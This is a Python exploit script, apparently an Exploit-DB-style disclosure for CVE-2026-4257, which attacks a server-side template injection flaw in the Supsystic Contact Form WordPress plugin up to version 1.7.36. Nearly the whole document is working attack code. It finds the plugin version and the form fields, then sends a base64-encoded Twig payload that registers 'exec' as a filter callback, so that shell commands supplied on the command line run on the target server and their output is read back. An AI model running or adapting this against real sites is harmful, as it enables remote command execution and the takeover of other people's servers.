# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI # Date: 3/30/2026 # Exploit Author: bootstrapbool # Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/ # Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/ # Version: <= 1.7.36 # Tested on: Ubuntu 24 and Windows 10 # CVE : CVE-2026-4257 import argparse import base64 import re import requests class status: OKGREEN = "\033[32m" WARNING = "\033[33m" FAIL = "\033[31m" ENDC = "\033[0m" NOCOLOR = False VERBOSE = False @classmethod def print(cls, message: str, status: str = None): if cls.NOCOLOR: print(message) return match status: case "FAIL": print(f"{cls.FAIL}{message}{cls.ENDC}") case "WARNING": print(f"{cls.WARNING}{message}{cls.ENDC}") case "SUCCESS": print(f"{cls.OKGREEN}{message}{cls.ENDC}") case _: print(message) @classmethod def vprint(cls, message: str, status: str = None): if cls.VERBOSE: cls.print(message, status) def get_page(url: str) -> str: try: res = requests.get(url) res.raise_for_status() except requests.excpetions.RequestException as e: status.print(f"Request to {url} failed with {res.status_code}") exit(1) if res.status_code != 200: status.print(f"Got {res.status_code} for request to: {url}", "WARNING") return res.text def get_version(body: str) -> str | None: pattern = r'suptablesui.min.css\?ver=([0-9\.]+)' match = re.search(pattern, body) if match: return match.group(1) def is_vulnerable(version: str) -> bool: try: major, minor, patch = map(int, version.split(".")) return (major, minor, patch) <= (1, 7, 36) except: status.vprint(f"Failed to parse version.", "WARNING") def detect_version(body: str): version = get_version(body) vulnerable = is_vulnerable(version) if vulnerable: status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS") elif vulnerable != None: status.vprint( f"Detected version {version} is not vulnerable.", "WARNING") def detect_fields(body: str) -> list[str] | None: """Automatically attempt to get Contact Form fields to use for SSTI""" pattern = r'data-name="([^"]+)"' field_names = list(set(re.findall(pattern, body))) if field_names: status.print(f"Detected fields: {field_names}", "SUCCESS") return field_names def handle_field(body: str, field: str | None) -> str: if field: return field fields = detect_fields(body) if fields is not None: status.vprint(f"Using automatically detected field: {fields[0]}") return fields[0] status.print("Failed to detect fields.", "FAIL") exit(1) def get_output(field: str, body: str) -> str | None: pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"' match = re.search(pattern, body) if match: return match.group(1) def exploit(url: str, payload: str, field: str) -> str | None: utf8_var = "{%set a%}UTF-8{%endset%}" base64_var = "{%set b%}BASE64{%endset%}" twig_payload = "{%set p%}" + base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}" # The () ensures the variables are not treated as string literals twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}" register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}" exec_filter = "{{_self.env.getFilter(p)}}" ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter status.vprint(f"Payload: {payload}") params = { "cfsPreFill": 1, field: ssti_payload} try: res = requests.get(url, params) res.raise_for_status() except requests.excpetions.RequestException as e: status.print(f"Request to {url} failed with {res.status_code}") exit(1) if res.status_code != 200: status.print(f"Got {res.status_code} for request to: {url}", "WARNING") return get_output(field, res.text) def main(): parser = argparse.ArgumentParser() parser.add_argument( "--field", type = str, help = ("Valid field part of the Contact Form. The defaults are " + "first_name, last_name, subject, message, and email. Though it's " + "possible for none of these fields to appear. Not all field types" + "work. The tested field types that are confirmed to work are" + "Text, Textarea, Number, Email, Time, and URL. Buttons do not " + "work.")) parser.add_argument( "--no-color", action = "store_true", help = "If you dont want pretty colors in your output.") parser.add_argument( "--verbose", "-v", action = "store_true") parser.add_argument( "url", type = str, help = ("Full URL to page with vulnerable Contact Form component. " \ + "Ex: http://localhost:4444/sample.php")) parser.add_argument( "payload", type = str, default = None, help = ("Shell commands to be executed.")) args = parser.parse_args() status.NOCOLOR = args.no_color status.VERBOSE = args.verbose body = get_page(args.url) detect_version(body) field = handle_field(body, args.field) output = exploit(args.url, args.payload, field) if output: if output.lower() == field.lower(): status.print( "Output is same as field. Maybe try a different field?", "WARNING") status.print(output) else: status.print( f"Failed to extract output with field '{field}'", "FAIL") if __name__ == "__main__": main()